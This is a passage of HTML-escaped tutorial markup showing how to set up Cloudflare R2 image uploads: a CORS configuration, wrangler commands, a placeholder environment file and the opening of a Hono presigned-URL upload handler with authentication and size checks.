&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          &quot;x-amz-meta-uploaded-by&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      &quot;exposeHeaders&quot;: [&quot;ETag&quot;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      &quot;MaxAgeSeconds&quot;: 3000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;❌ Piftall alert: The CORS configuration must match Cloudflare’s expected format &lt;em&gt;AND&lt;/em&gt; you can’t just use wildcards for headers because you’ll get a PUT 403 Forbidden error and a CORS error.&lt;/p&gt;
&lt;p&gt;Another small note, remember to actually replace the &lt;code&gt;origins&lt;/code&gt; value with your frontend domain in production, but otherwise &lt;code&gt;*&lt;/code&gt; is fine for development.&lt;/p&gt;
&lt;h1 id=&quot;apply-cors-policy&quot;&gt;Apply CORS policy&lt;/h1&gt;
&lt;p&gt;This is how you can set the CORS policy using Wrangler CLI:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;npx wrangler r2 bucket cors set gallery --file=cors.json&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-4-generate-typescript-types&quot;&gt;Step 4: Generate TypeScript Types&lt;/h3&gt;
&lt;p&gt;Next, run this to create &lt;code&gt;worker-configuration.d.ts&lt;/code&gt; with proper type definitions:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx wrangler types --env-interface Env&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-5-environment-configuration&quot;&gt;Step 5: Environment Configuration&lt;/h3&gt;
&lt;p&gt;Create &lt;code&gt;.dev.vars&lt;/code&gt; for local development:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# .dev.vars (never commit this file)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;BETTER_AUTH_URL=https://your-app.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;BETTER_AUTH_SECRET=your-secret-key-here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;DATABASE_URL=your-database-connection-string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;CLOUDFLARE_ACCOUNT_ID=your-account-id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;R2_ACCESS_KEY_ID=your-r2-access-key-id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;R2_SECRET_ACCESS_KEY=your-r2-secret-access-key&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-6-implement-the-upload-handler&quot;&gt;Step 6: Implement the Upload Handler&lt;/h3&gt;
&lt;p&gt;Create &lt;code&gt;src/routes/uploads.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Hono } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;hono&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { AwsClient } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;aws4fetch&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { auth } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;../lib/better-auth&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { randomUUID } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;crypto&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uploads&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Hono&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;{ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Bindings&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Env&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Helper function to validate image MIME type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;isValidImageType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;mimeType&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;boolean&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; mimeType.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;startsWith&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Helper function to get file extension from MIME type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getExtensionFromMimeType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;mimeType&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;mimeToExt&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Record&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/jpeg&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.jpg&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/jpg&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.jpg&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/gif&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.gif&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/webp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.webp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/svg+xml&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.svg&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/bmp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.bmp&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/tiff&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.tiff&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; mimeToExt[mimeType] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.jpg&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;uploads.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/pre-signed-url&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Validate authentication&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;auth&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(c.env).api.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getSession&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      headers: c.req.raw.headers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;session) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ error: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Authentication required&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;401&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Parse request body&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.req.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;contentType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fileSize&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; body&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Validate required fields&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;filename &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;contentType &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fileSize) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        error: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Missing required fields: filename, contentType, fileSize&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Validate file size (10MB limit)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;maxSize&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 10MB in bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (fileSize &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; maxSize) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        error: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;File size exceeds 10MB limit&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
